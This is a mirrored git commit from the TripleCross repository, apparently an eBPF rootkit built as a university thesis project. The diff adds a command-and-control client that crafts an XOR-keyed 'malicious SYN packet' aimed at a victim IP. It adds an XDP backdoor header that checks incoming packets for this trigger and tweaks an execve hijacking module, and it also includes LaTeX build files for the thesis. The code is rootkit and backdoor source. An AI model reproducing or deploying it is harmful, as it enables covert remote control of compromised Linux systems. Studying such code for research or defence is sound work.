mirror of
https://github.com/h3xduck/TripleCross.git
synced 2025-12-20 16:53:07 +08:00
Included new version of custom lib. Added checks for backdoor triggering
This commit is contained in:
3
.vscode/settings.json
vendored
3
.vscode/settings.json
vendored
@@ -22,6 +22,7 @@
|
|||||||
"stddef.h": "c",
|
"stddef.h": "c",
|
||||||
"ring_buffer.h": "c",
|
"ring_buffer.h": "c",
|
||||||
"bpf_helpers.h": "c",
|
"bpf_helpers.h": "c",
|
||||||
"tcp_helper.h": "c"
|
"tcp_helper.h": "c",
|
||||||
|
"headervmlinux.h": "c"
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
Binary file not shown.
File diff suppressed because it is too large
Load Diff
BIN
src/bin/kit
BIN
src/bin/kit
Binary file not shown.
@@ -12,6 +12,7 @@
|
|||||||
|
|
||||||
#include "../common/constants.h"
|
#include "../common/constants.h"
|
||||||
#include "../common/c&c.h"
|
#include "../common/c&c.h"
|
||||||
|
#include "../common/protocol.h"
|
||||||
|
|
||||||
// For printing with colors
|
// For printing with colors
|
||||||
#define KGRN "\x1B[32m"
|
#define KGRN "\x1B[32m"
|
||||||
@@ -21,12 +22,6 @@
|
|||||||
#define KRED "\x1B[31m"
|
#define KRED "\x1B[31m"
|
||||||
#define RESET "\x1B[0m"
|
#define RESET "\x1B[0m"
|
||||||
|
|
||||||
//For encrypted shell
|
|
||||||
#define SYN_PACKET_PAYLOAD_LEN 0x10
|
|
||||||
#define SYN_PACKET_KEY_1 "\x56\xA4"
|
|
||||||
#define SYN_PACKET_KEY_2 "\x78\x13"
|
|
||||||
#define SYN_PACKET_KEY_3 "\x1F\x29"
|
|
||||||
#define SYN_PACKET_SECTION_LEN 0x02
|
|
||||||
|
|
||||||
void print_welcome_message(){
|
void print_welcome_message(){
|
||||||
printf("*******************************************************\n");
|
printf("*******************************************************\n");
|
||||||
@@ -198,37 +193,38 @@ void activate_command_control_shell_encrypted(char* argv){
|
|||||||
printf("["KBLU"INFO"RESET"]""Victim IP selected: %s\n", argv);
|
printf("["KBLU"INFO"RESET"]""Victim IP selected: %s\n", argv);
|
||||||
check_ip_address_format(argv);
|
check_ip_address_format(argv);
|
||||||
printf("["KBLU"INFO"RESET"]""Crafting malicious SYN packet...\n");
|
printf("["KBLU"INFO"RESET"]""Crafting malicious SYN packet...\n");
|
||||||
char* payload = malloc(SYN_PACKET_PAYLOAD_LEN);
|
//+1 since payload must finish with null character for parameter passing, although not sent in the actual packet payload
|
||||||
|
char payload[CC_TRIGGER_SYN_PACKET_PAYLOAD_SIZE+1];
|
||||||
srand(time(NULL));
|
srand(time(NULL));
|
||||||
for(int ii=0; ii<SYN_PACKET_PAYLOAD_LEN; ii++){
|
for(int ii=0; ii<CC_TRIGGER_SYN_PACKET_PAYLOAD_SIZE; ii++){
|
||||||
payload[ii] = (char)rand();
|
payload[ii] = (char)rand();
|
||||||
}
|
}
|
||||||
//Follow protocol rules
|
//Follow protocol rules
|
||||||
char section[SYN_PACKET_SECTION_LEN];
|
char section[CC_TRIGGER_SYN_PACKET_SECTION_LEN];
|
||||||
char section2[SYN_PACKET_SECTION_LEN];
|
char section2[CC_TRIGGER_SYN_PACKET_SECTION_LEN];
|
||||||
char key1[SYN_PACKET_SECTION_LEN] = SYN_PACKET_KEY_1;
|
char key1[CC_TRIGGER_SYN_PACKET_SECTION_LEN] = CC_TRIGGER_SYN_PACKET_KEY_1;
|
||||||
char key2[SYN_PACKET_SECTION_LEN] = SYN_PACKET_KEY_2;
|
char key2[CC_TRIGGER_SYN_PACKET_SECTION_LEN] = CC_TRIGGER_SYN_PACKET_KEY_2;
|
||||||
char key3[SYN_PACKET_SECTION_LEN] = SYN_PACKET_KEY_3;
|
char key3[CC_TRIGGER_SYN_PACKET_SECTION_LEN] = CC_TRIGGER_SYN_PACKET_KEY_3;
|
||||||
char result[SYN_PACKET_SECTION_LEN];
|
char result[CC_TRIGGER_SYN_PACKET_SECTION_LEN];
|
||||||
strncpy(section, payload, SYN_PACKET_SECTION_LEN);
|
strncpy(section, payload, CC_TRIGGER_SYN_PACKET_SECTION_LEN);
|
||||||
for(int ii=0; ii<SYN_PACKET_SECTION_LEN; ii++){
|
for(int ii=0; ii<CC_TRIGGER_SYN_PACKET_SECTION_LEN; ii++){
|
||||||
result[ii] = section[ii] ^ key1[ii];
|
result[ii] = section[ii] ^ key1[ii];
|
||||||
}
|
}
|
||||||
strncpy(payload+0x06, result, SYN_PACKET_SECTION_LEN);
|
strncpy(payload+0x06, result, CC_TRIGGER_SYN_PACKET_SECTION_LEN);
|
||||||
|
|
||||||
strncpy(section, payload+0x02, SYN_PACKET_SECTION_LEN);
|
strncpy(section, payload+0x02, CC_TRIGGER_SYN_PACKET_SECTION_LEN);
|
||||||
for(int ii=0; ii<SYN_PACKET_SECTION_LEN; ii++){
|
for(int ii=0; ii<CC_TRIGGER_SYN_PACKET_SECTION_LEN; ii++){
|
||||||
result[ii] = section[ii] ^ key2[ii];
|
result[ii] = section[ii] ^ key2[ii];
|
||||||
}
|
}
|
||||||
strncpy(payload+0x0A, result, SYN_PACKET_SECTION_LEN);
|
strncpy(payload+0x0A, result, CC_TRIGGER_SYN_PACKET_SECTION_LEN);
|
||||||
|
|
||||||
strncpy(section, payload+0x06, SYN_PACKET_SECTION_LEN);
|
strncpy(section, payload+0x06, CC_TRIGGER_SYN_PACKET_SECTION_LEN);
|
||||||
strncpy(section2, payload+0x0A, SYN_PACKET_SECTION_LEN);
|
strncpy(section2, payload+0x0A, CC_TRIGGER_SYN_PACKET_SECTION_LEN);
|
||||||
for(int ii=0; ii<SYN_PACKET_SECTION_LEN; ii++){
|
for(int ii=0; ii<CC_TRIGGER_SYN_PACKET_SECTION_LEN; ii++){
|
||||||
result[ii] = section[ii] ^ section2[ii] ^ key2[ii];
|
result[ii] = section[ii] ^ section2[ii] ^ key2[ii];
|
||||||
}
|
}
|
||||||
|
|
||||||
strncpy(payload+0x0D, result, SYN_PACKET_SECTION_LEN);
|
strncpy(payload+0x0C, result, CC_TRIGGER_SYN_PACKET_SECTION_LEN);
|
||||||
|
|
||||||
|
|
||||||
packet_t packet = build_standard_packet(8000, 9000, local_ip, argv, 4096, payload);
|
packet_t packet = build_standard_packet(8000, 9000, local_ip, argv, 4096, payload);
|
||||||
@@ -270,7 +266,6 @@ void activate_command_control_shell_encrypted(char* argv){
|
|||||||
printf("["KGRN"RESPONSE"RESET"] %s\n", res);
|
printf("["KGRN"RESPONSE"RESET"] %s\n", res);
|
||||||
}
|
}
|
||||||
|
|
||||||
free(local_ip);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
Binary file not shown.
Binary file not shown.
@@ -3,7 +3,7 @@
|
|||||||
|
|
||||||
#include <stdlib.h>
|
#include <stdlib.h>
|
||||||
|
|
||||||
//Packet_t structure
|
//Packet_t and stream_t structures
|
||||||
typedef struct packet_t{
|
typedef struct packet_t{
|
||||||
struct iphdr *ipheader;
|
struct iphdr *ipheader;
|
||||||
struct tcphdr *tcpheader;
|
struct tcphdr *tcpheader;
|
||||||
@@ -12,6 +12,16 @@ typedef struct packet_t{
|
|||||||
char* packet;
|
char* packet;
|
||||||
}packet_t;
|
}packet_t;
|
||||||
|
|
||||||
|
typedef struct stream_t{
|
||||||
|
packet_t* packet_stream;
|
||||||
|
int stream_length;
|
||||||
|
}stream_t;
|
||||||
|
|
||||||
|
typedef enum{
|
||||||
|
TYPE_TCP_SEQ_RAW,
|
||||||
|
TYPE_TCP_ACK_RAW
|
||||||
|
}stream_inject_type_t;
|
||||||
|
|
||||||
//PacketForger headers
|
//PacketForger headers
|
||||||
packet_t build_standard_packet(
|
packet_t build_standard_packet(
|
||||||
u_int16_t source_port,
|
u_int16_t source_port,
|
||||||
@@ -22,10 +32,24 @@ packet_t build_standard_packet(
|
|||||||
char* payload
|
char* payload
|
||||||
);
|
);
|
||||||
|
|
||||||
|
stream_t build_standard_packet_stream_empty_payload(
|
||||||
|
int stream_length,
|
||||||
|
u_int16_t source_port,
|
||||||
|
u_int16_t destination_port,
|
||||||
|
const char* source_ip_address,
|
||||||
|
const char* destination_ip_address
|
||||||
|
);
|
||||||
|
|
||||||
|
stream_t stream_inject(stream_t stream, stream_inject_type_t type, char* payload, int payload_length);
|
||||||
|
|
||||||
int packet_destroy(packet_t packet);
|
int packet_destroy(packet_t packet);
|
||||||
|
|
||||||
|
void stream_destroy(stream_t stream);
|
||||||
|
|
||||||
int set_TCP_flags(packet_t packet, int hex_flags);
|
int set_TCP_flags(packet_t packet, int hex_flags);
|
||||||
|
|
||||||
|
int set_TCP_seq_num(packet_t packet, u_int32_t bytes);
|
||||||
|
|
||||||
//SocketManager headers
|
//SocketManager headers
|
||||||
int rawsocket_send(packet_t packet);
|
int rawsocket_send(packet_t packet);
|
||||||
|
|
||||||
|
|||||||
Binary file not shown.
@@ -7,5 +7,13 @@
|
|||||||
#define CC_PROT_FIN_PART "CC_FIN"
|
#define CC_PROT_FIN_PART "CC_FIN"
|
||||||
#define CC_PROT_FIN CC_PROT_MSG CC_PROT_FIN_PART
|
#define CC_PROT_FIN CC_PROT_MSG CC_PROT_FIN_PART
|
||||||
|
|
||||||
|
//C&C V1 -- bpv47-like trigger
|
||||||
|
#define CC_TRIGGER_SYN_PACKET_PAYLOAD_SIZE 0x10
|
||||||
|
#define CC_TRIGGER_SYN_PACKET_KEY_1 "\x56\xA4"
|
||||||
|
#define CC_TRIGGER_SYN_PACKET_KEY_2 "\x78\x13"
|
||||||
|
#define CC_TRIGGER_SYN_PACKET_KEY_3 "\x1F\x29"
|
||||||
|
#define CC_TRIGGER_SYN_PACKET_SECTION_LEN 0x02
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
#endif
|
#endif
|
||||||
@@ -20,6 +20,6 @@
|
|||||||
|
|
||||||
//EXECUTION HIJACKING
|
//EXECUTION HIJACKING
|
||||||
#define PATH_EXECUTION_HIJACK_PROGRAM "/home/osboxes/TFG/src/helpers/execve_hijack\0"
|
#define PATH_EXECUTION_HIJACK_PROGRAM "/home/osboxes/TFG/src/helpers/execve_hijack\0"
|
||||||
|
#define EXEC_HIJACK_ACTIVE_TEMP 0
|
||||||
|
|
||||||
#endif
|
#endif
|
||||||
14
src/common/protocol.h
Normal file
14
src/common/protocol.h
Normal file
@@ -0,0 +1,14 @@
|
|||||||
|
#ifndef __PROTOCOL_H
|
||||||
|
#define __PROTOCOL_H
|
||||||
|
|
||||||
|
struct trigger_t {
|
||||||
|
unsigned char xor_key;
|
||||||
|
unsigned int ip;
|
||||||
|
short unsigned int port;
|
||||||
|
unsigned char pad1;
|
||||||
|
short unsigned int pad2;
|
||||||
|
short unsigned int crc;
|
||||||
|
};
|
||||||
|
|
||||||
|
|
||||||
|
#endif
|
||||||
@@ -86,7 +86,7 @@ static __always_inline int test_write_user_unique(struct sys_execve_enter_ctx *c
|
|||||||
|
|
||||||
static __always_inline int handle_tp_sys_enter_execve(struct sys_execve_enter_ctx *ctx, __u64 pid_tgid){
|
static __always_inline int handle_tp_sys_enter_execve(struct sys_execve_enter_ctx *ctx, __u64 pid_tgid){
|
||||||
//Check if the exec hijacker is active already
|
//Check if the exec hijacker is active already
|
||||||
if(hijacker_state == 1){
|
if(hijacker_state == 1 || EXEC_HIJACK_ACTIVE_TEMP == 0){
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
bpf_printk("Starting execve hijacker\n");
|
bpf_printk("Starting execve hijacker\n");
|
||||||
|
|||||||
43
src/ebpf/include/xdp/backdoor.h
Normal file
43
src/ebpf/include/xdp/backdoor.h
Normal file
@@ -0,0 +1,43 @@
|
|||||||
|
#ifndef __BPF_BACKDOOR
|
||||||
|
#define __BPF_BACKDOOR
|
||||||
|
|
||||||
|
#include "headervmlinux.h"
|
||||||
|
|
||||||
|
#include <bpf/bpf_helpers.h>
|
||||||
|
#include "../../common/c&c.h"
|
||||||
|
|
||||||
|
static __always_inline int manage_backdoor_trigger_v1(char* payload, __u32 payload_size){
|
||||||
|
char section[CC_TRIGGER_SYN_PACKET_SECTION_LEN];
|
||||||
|
char section2[CC_TRIGGER_SYN_PACKET_SECTION_LEN];
|
||||||
|
char key1[CC_TRIGGER_SYN_PACKET_SECTION_LEN];
|
||||||
|
char key2[CC_TRIGGER_SYN_PACKET_SECTION_LEN];
|
||||||
|
char key3[CC_TRIGGER_SYN_PACKET_SECTION_LEN];
|
||||||
|
char result[CC_TRIGGER_SYN_PACKET_SECTION_LEN];
|
||||||
|
|
||||||
|
//Undoing the trigger secret packet to check it is the one expected
|
||||||
|
|
||||||
|
//Loading keys
|
||||||
|
__builtin_memcpy(key1, CC_TRIGGER_SYN_PACKET_KEY_1, CC_TRIGGER_SYN_PACKET_SECTION_LEN);
|
||||||
|
__builtin_memcpy(key2, CC_TRIGGER_SYN_PACKET_KEY_2, CC_TRIGGER_SYN_PACKET_SECTION_LEN);
|
||||||
|
__builtin_memcpy(key3, CC_TRIGGER_SYN_PACKET_KEY_3, CC_TRIGGER_SYN_PACKET_SECTION_LEN);
|
||||||
|
|
||||||
|
//S1 XOR K1
|
||||||
|
__builtin_memcpy(section, payload, CC_TRIGGER_SYN_PACKET_SECTION_LEN);
|
||||||
|
__builtin_memcpy(section2, payload+0x06, CC_TRIGGER_SYN_PACKET_SECTION_LEN);
|
||||||
|
for(int ii=0; ii<CC_TRIGGER_SYN_PACKET_SECTION_LEN; ii++){
|
||||||
|
result[ii] = section[ii] ^ section2[ii];
|
||||||
|
if(result[ii]!=key1[ii]){
|
||||||
|
bpf_printk("FAIL\n");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
bpf_printk("Finished V1 check\n");
|
||||||
|
|
||||||
|
return XDP_PASS;
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif
|
||||||
@@ -43,8 +43,7 @@ static __always_inline struct expand_return expand_tcp_packet_payload(struct xdp
|
|||||||
__builtin_memcpy(&ip_copy, ip, sizeof(struct iphdr));
|
__builtin_memcpy(&ip_copy, ip, sizeof(struct iphdr));
|
||||||
__builtin_memcpy(&tcp_copy, tcp, sizeof(struct tcphdr));
|
__builtin_memcpy(&tcp_copy, tcp, sizeof(struct tcphdr));
|
||||||
|
|
||||||
if (bpf_xdp_adjust_tail(ctx, (int)(sizeof(char)*more_bytes)) != 0)
|
if (bpf_xdp_adjust_tail(ctx, (int)(sizeof(char)*more_bytes)) != 0){
|
||||||
{
|
|
||||||
//Failed to expand
|
//Failed to expand
|
||||||
bpf_printk("Failed to expand a tcp packet reserved bytes by %i\n", more_bytes);
|
bpf_printk("Failed to expand a tcp packet reserved bytes by %i\n", more_bytes);
|
||||||
ret.code = -1;//The rest is undefined
|
ret.code = -1;//The rest is undefined
|
||||||
|
|||||||
@@ -26,12 +26,14 @@
|
|||||||
|
|
||||||
//User-kernel dependencies
|
//User-kernel dependencies
|
||||||
#include "../common/constants.h"
|
#include "../common/constants.h"
|
||||||
|
#include "../common/c&c.h"
|
||||||
|
|
||||||
//BPF exclusive includes
|
//BPF exclusive includes
|
||||||
#include "packet/packet_manager.h"
|
#include "packet/packet_manager.h"
|
||||||
#include "packet/protocol/tcp_helper.h"
|
#include "packet/protocol/tcp_helper.h"
|
||||||
#include "xdp/xdp_helper.h"
|
#include "xdp/xdp_helper.h"
|
||||||
#include "utils/strings.h"
|
#include "utils/strings.h"
|
||||||
|
#include "xdp/backdoor.h"
|
||||||
|
|
||||||
//BPF modules to load
|
//BPF modules to load
|
||||||
#include "include/bpf/sched.h"
|
#include "include/bpf/sched.h"
|
||||||
@@ -53,8 +55,8 @@ SEC("xdp_prog")
|
|||||||
int xdp_receive(struct xdp_md *ctx){
|
int xdp_receive(struct xdp_md *ctx){
|
||||||
//bpf_printk("BPF triggered\n");
|
//bpf_printk("BPF triggered\n");
|
||||||
|
|
||||||
void *data_end = (void *)(long)ctx->data_end;
|
void *data_end = (void *)(__u32)ctx->data_end;
|
||||||
void *data = (void *)(long)ctx->data;
|
void *data = (void *)(__u32)ctx->data;
|
||||||
|
|
||||||
unsigned int payload_size;
|
unsigned int payload_size;
|
||||||
struct ethhdr *eth = data;
|
struct ethhdr *eth = data;
|
||||||
@@ -88,18 +90,29 @@ int xdp_receive(struct xdp_md *ctx){
|
|||||||
|
|
||||||
if (get_tcp_dest_port(tcp) != SECRET_PACKET_DEST_PORT){
|
if (get_tcp_dest_port(tcp) != SECRET_PACKET_DEST_PORT){
|
||||||
bpf_printk("E %i\n", bpf_ntohs(tcp->dest));
|
bpf_printk("E %i\n", bpf_ntohs(tcp->dest));
|
||||||
|
bpf_printk("D: %ld, DE:%ld", ctx->data, ctx->data_end);
|
||||||
return XDP_PASS;
|
return XDP_PASS;
|
||||||
}
|
}
|
||||||
|
bpf_printk("Detected 9000\n");
|
||||||
|
|
||||||
payload_size = bpf_ntohs(ip->tot_len) - (tcp->doff * 4) - (ip->ihl * 4);
|
payload_size = bpf_ntohs(ip->tot_len) - (tcp->doff * 4) - (ip->ihl * 4);
|
||||||
payload = (void *)tcp + tcp->doff*4;
|
payload = (void *)tcp + tcp->doff*4;
|
||||||
|
|
||||||
// We use "size - 1" to account for the final '\0', but depending on the program use
|
//Check for the rootkit backdoor trigger V1
|
||||||
if (payload_size != sizeof(SECRET_PACKET_PAYLOAD)-1) {
|
if(payload_size == CC_TRIGGER_SYN_PACKET_PAYLOAD_SIZE){
|
||||||
|
if (tcp_payload_bound_check(payload, payload_size, data_end)){
|
||||||
|
bpf_printk("G");
|
||||||
|
return XDP_PASS;
|
||||||
|
}
|
||||||
|
return manage_backdoor_trigger_v1(payload, payload_size);
|
||||||
|
}
|
||||||
|
//Check for the packet modification PoC
|
||||||
|
// We use "size - 1" to account for the final '\0'
|
||||||
|
else if (payload_size != sizeof(SECRET_PACKET_PAYLOAD)-1) {
|
||||||
bpf_printk("F, PS:%i, P:%i, DE:%i\n", payload_size, payload, data_end);
|
bpf_printk("F, PS:%i, P:%i, DE:%i\n", payload_size, payload, data_end);
|
||||||
return XDP_PASS;
|
return XDP_PASS;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (tcp_payload_bound_check(payload, payload_size, data_end)){
|
if (tcp_payload_bound_check(payload, payload_size, data_end)){
|
||||||
bpf_printk("G");
|
bpf_printk("G");
|
||||||
return XDP_PASS;
|
return XDP_PASS;
|
||||||
|
|||||||
@@ -3,7 +3,7 @@
|
|||||||
|
|
||||||
#include <stdlib.h>
|
#include <stdlib.h>
|
||||||
|
|
||||||
//Packet_t structure
|
//Packet_t and stream_t structures
|
||||||
typedef struct packet_t{
|
typedef struct packet_t{
|
||||||
struct iphdr *ipheader;
|
struct iphdr *ipheader;
|
||||||
struct tcphdr *tcpheader;
|
struct tcphdr *tcpheader;
|
||||||
@@ -12,6 +12,16 @@ typedef struct packet_t{
|
|||||||
char* packet;
|
char* packet;
|
||||||
}packet_t;
|
}packet_t;
|
||||||
|
|
||||||
|
typedef struct stream_t{
|
||||||
|
packet_t* packet_stream;
|
||||||
|
int stream_length;
|
||||||
|
}stream_t;
|
||||||
|
|
||||||
|
typedef enum{
|
||||||
|
TYPE_TCP_SEQ_RAW,
|
||||||
|
TYPE_TCP_ACK_RAW
|
||||||
|
}stream_inject_type_t;
|
||||||
|
|
||||||
//PacketForger headers
|
//PacketForger headers
|
||||||
packet_t build_standard_packet(
|
packet_t build_standard_packet(
|
||||||
u_int16_t source_port,
|
u_int16_t source_port,
|
||||||
@@ -22,10 +32,24 @@ packet_t build_standard_packet(
|
|||||||
char* payload
|
char* payload
|
||||||
);
|
);
|
||||||
|
|
||||||
|
stream_t build_standard_packet_stream_empty_payload(
|
||||||
|
int stream_length,
|
||||||
|
u_int16_t source_port,
|
||||||
|
u_int16_t destination_port,
|
||||||
|
const char* source_ip_address,
|
||||||
|
const char* destination_ip_address
|
||||||
|
);
|
||||||
|
|
||||||
|
stream_t stream_inject(stream_t stream, stream_inject_type_t type, char* payload, int payload_length);
|
||||||
|
|
||||||
int packet_destroy(packet_t packet);
|
int packet_destroy(packet_t packet);
|
||||||
|
|
||||||
|
void stream_destroy(stream_t stream);
|
||||||
|
|
||||||
int set_TCP_flags(packet_t packet, int hex_flags);
|
int set_TCP_flags(packet_t packet, int hex_flags);
|
||||||
|
|
||||||
|
int set_TCP_seq_num(packet_t packet, u_int32_t bytes);
|
||||||
|
|
||||||
//SocketManager headers
|
//SocketManager headers
|
||||||
int rawsocket_send(packet_t packet);
|
int rawsocket_send(packet_t packet);
|
||||||
|
|
||||||
|
|||||||
Binary file not shown.
49
xx/document.aux
Normal file
49
xx/document.aux
Normal file
@@ -0,0 +1,49 @@
|
|||||||
|
\relax
|
||||||
|
\providecommand\hyper@newdestlabel[2]{}
|
||||||
|
\providecommand\HyperFirstAtBeginDocument{\AtBeginDocument}
|
||||||
|
\HyperFirstAtBeginDocument{\ifx\hyper@anchor\@undefined
|
||||||
|
\global\let\oldcontentsline\contentsline
|
||||||
|
\gdef\contentsline#1#2#3#4{\oldcontentsline{#1}{#2}{#3}}
|
||||||
|
\global\let\oldnewlabel\newlabel
|
||||||
|
\gdef\newlabel#1#2{\newlabelxx{#1}#2}
|
||||||
|
\gdef\newlabelxx#1#2#3#4#5#6{\oldnewlabel{#1}{{#2}{#3}}}
|
||||||
|
\AtEndDocument{\ifx\hyper@anchor\@undefined
|
||||||
|
\let\contentsline\oldcontentsline
|
||||||
|
\let\newlabel\oldnewlabel
|
||||||
|
\fi}
|
||||||
|
\fi}
|
||||||
|
\global\let\hyper@last\relax
|
||||||
|
\gdef\HyperFirstAtBeginDocument#1{#1}
|
||||||
|
\providecommand\HyField@AuxAddToFields[1]{}
|
||||||
|
\providecommand\HyField@AuxAddToCoFields[2]{}
|
||||||
|
\providecommand\babel@aux[2]{}
|
||||||
|
\@nameuse{bbl@beforestart}
|
||||||
|
\@writefile{toc}{\boolfalse {citerequest}\boolfalse {citetracker}\boolfalse {pagetracker}\boolfalse {backtracker}\relax }
|
||||||
|
\@writefile{lof}{\boolfalse {citerequest}\boolfalse {citetracker}\boolfalse {pagetracker}\boolfalse {backtracker}\relax }
|
||||||
|
\@writefile{lot}{\boolfalse {citerequest}\boolfalse {citetracker}\boolfalse {pagetracker}\boolfalse {backtracker}\relax }
|
||||||
|
\abx@aux@refcontext{none/global//global/global}
|
||||||
|
\babel@aux{english}{}
|
||||||
|
\@writefile{toc}{\defcounter {refsection}{0}\relax }\@writefile{toc}{\contentsline {chapter}{\numberline {1}Introduction}{1}{chapter.1}\protected@file@percent }
|
||||||
|
\@writefile{lof}{\defcounter {refsection}{0}\relax }\@writefile{lof}{\addvspace {10\p@ }}
|
||||||
|
\@writefile{lot}{\defcounter {refsection}{0}\relax }\@writefile{lot}{\addvspace {10\p@ }}
|
||||||
|
\@writefile{toc}{\defcounter {refsection}{0}\relax }\@writefile{toc}{\contentsline {section}{\numberline {1.1}Motivation}{1}{section.1.1}\protected@file@percent }
|
||||||
|
\@writefile{toc}{\defcounter {refsection}{0}\relax }\@writefile{toc}{\contentsline {section}{\numberline {1.2}Objectives}{1}{section.1.2}\protected@file@percent }
|
||||||
|
\@writefile{toc}{\defcounter {refsection}{0}\relax }\@writefile{toc}{\contentsline {section}{\numberline {1.3}Regulatory framework}{1}{section.1.3}\protected@file@percent }
|
||||||
|
\@writefile{toc}{\defcounter {refsection}{0}\relax }\@writefile{toc}{\contentsline {subsection}{\numberline {1.3.1}Social and economic environment}{1}{subsection.1.3.1}\protected@file@percent }
|
||||||
|
\@writefile{toc}{\defcounter {refsection}{0}\relax }\@writefile{toc}{\contentsline {subsection}{\numberline {1.3.2}Budget}{1}{subsection.1.3.2}\protected@file@percent }
|
||||||
|
\@writefile{toc}{\defcounter {refsection}{0}\relax }\@writefile{toc}{\contentsline {chapter}{\numberline {2}State of the Art}{2}{chapter.2}\protected@file@percent }
|
||||||
|
\@writefile{lof}{\defcounter {refsection}{0}\relax }\@writefile{lof}{\addvspace {10\p@ }}
|
||||||
|
\@writefile{lot}{\defcounter {refsection}{0}\relax }\@writefile{lot}{\addvspace {10\p@ }}
|
||||||
|
\@writefile{toc}{\defcounter {refsection}{0}\relax }\@writefile{toc}{\contentsline {chapter}{\numberline {3}Methods??}{3}{chapter.3}\protected@file@percent }
|
||||||
|
\@writefile{lof}{\defcounter {refsection}{0}\relax }\@writefile{lof}{\addvspace {10\p@ }}
|
||||||
|
\@writefile{lot}{\defcounter {refsection}{0}\relax }\@writefile{lot}{\addvspace {10\p@ }}
|
||||||
|
\@writefile{toc}{\defcounter {refsection}{0}\relax }\@writefile{toc}{\contentsline {chapter}{\numberline {4}Results}{4}{chapter.4}\protected@file@percent }
|
||||||
|
\@writefile{lof}{\defcounter {refsection}{0}\relax }\@writefile{lof}{\addvspace {10\p@ }}
|
||||||
|
\@writefile{lot}{\defcounter {refsection}{0}\relax }\@writefile{lot}{\addvspace {10\p@ }}
|
||||||
|
\@writefile{toc}{\defcounter {refsection}{0}\relax }\@writefile{toc}{\contentsline {chapter}{\numberline {5}Conclusion and future work}{5}{chapter.5}\protected@file@percent }
|
||||||
|
\@writefile{lof}{\defcounter {refsection}{0}\relax }\@writefile{lof}{\addvspace {10\p@ }}
|
||||||
|
\@writefile{lot}{\defcounter {refsection}{0}\relax }\@writefile{lot}{\addvspace {10\p@ }}
|
||||||
|
\@writefile{toc}{\defcounter {refsection}{0}\relax }\@writefile{toc}{\contentsline {chapter}{Bibliography}{}{chapter.5}\protected@file@percent }
|
||||||
|
\abx@aux@read@bbl@mdfivesum{F7F239C736CF01AC6CE7BD829F9B3C7B}
|
||||||
|
\ttl@finishall
|
||||||
|
\gdef \@abspage@last{19}
|
||||||
31
xx/original_template/plantilla_tfg_ingles_2019.aux
Normal file
31
xx/original_template/plantilla_tfg_ingles_2019.aux
Normal file
@@ -0,0 +1,31 @@
|
|||||||
|
\relax
|
||||||
|
\providecommand\hyper@newdestlabel[2]{}
|
||||||
|
\providecommand\HyperFirstAtBeginDocument{\AtBeginDocument}
|
||||||
|
\HyperFirstAtBeginDocument{\ifx\hyper@anchor\@undefined
|
||||||
|
\global\let\oldcontentsline\contentsline
|
||||||
|
\gdef\contentsline#1#2#3#4{\oldcontentsline{#1}{#2}{#3}}
|
||||||
|
\global\let\oldnewlabel\newlabel
|
||||||
|
\gdef\newlabel#1#2{\newlabelxx{#1}#2}
|
||||||
|
\gdef\newlabelxx#1#2#3#4#5#6{\oldnewlabel{#1}{{#2}{#3}}}
|
||||||
|
\AtEndDocument{\ifx\hyper@anchor\@undefined
|
||||||
|
\let\contentsline\oldcontentsline
|
||||||
|
\let\newlabel\oldnewlabel
|
||||||
|
\fi}
|
||||||
|
\fi}
|
||||||
|
\global\let\hyper@last\relax
|
||||||
|
\gdef\HyperFirstAtBeginDocument#1{#1}
|
||||||
|
\providecommand\HyField@AuxAddToFields[1]{}
|
||||||
|
\providecommand\HyField@AuxAddToCoFields[2]{}
|
||||||
|
\abx@aux@sortscheme{none}
|
||||||
|
\abx@aux@refcontext{none/global/}
|
||||||
|
\@writefile{toc}{\boolfalse {citerequest}\boolfalse {citetracker}\boolfalse {pagetracker}\boolfalse {backtracker}\relax }
|
||||||
|
\@writefile{lof}{\boolfalse {citerequest}\boolfalse {citetracker}\boolfalse {pagetracker}\boolfalse {backtracker}\relax }
|
||||||
|
\@writefile{lot}{\boolfalse {citerequest}\boolfalse {citetracker}\boolfalse {pagetracker}\boolfalse {backtracker}\relax }
|
||||||
|
\select@language{english}
|
||||||
|
\@writefile{toc}{\defcounter {refsection}{0}\relax }\@writefile{toc}{\select@language{english}}
|
||||||
|
\@writefile{lof}{\defcounter {refsection}{0}\relax }\@writefile{lof}{\select@language{english}}
|
||||||
|
\@writefile{lot}{\defcounter {refsection}{0}\relax }\@writefile{lot}{\select@language{english}}
|
||||||
|
\@writefile{toc}{\defcounter {refsection}{0}\relax }\@writefile{toc}{\contentsline {chapter}{\numberline {1}Introduction}{1}{chapter.1}}
|
||||||
|
\@writefile{lof}{\defcounter {refsection}{0}\relax }\@writefile{lof}{\addvspace {10\p@ }}
|
||||||
|
\@writefile{lot}{\defcounter {refsection}{0}\relax }\@writefile{lot}{\addvspace {10\p@ }}
|
||||||
|
\ttl@finishall
|
||||||
Reference in New Issue
Block a user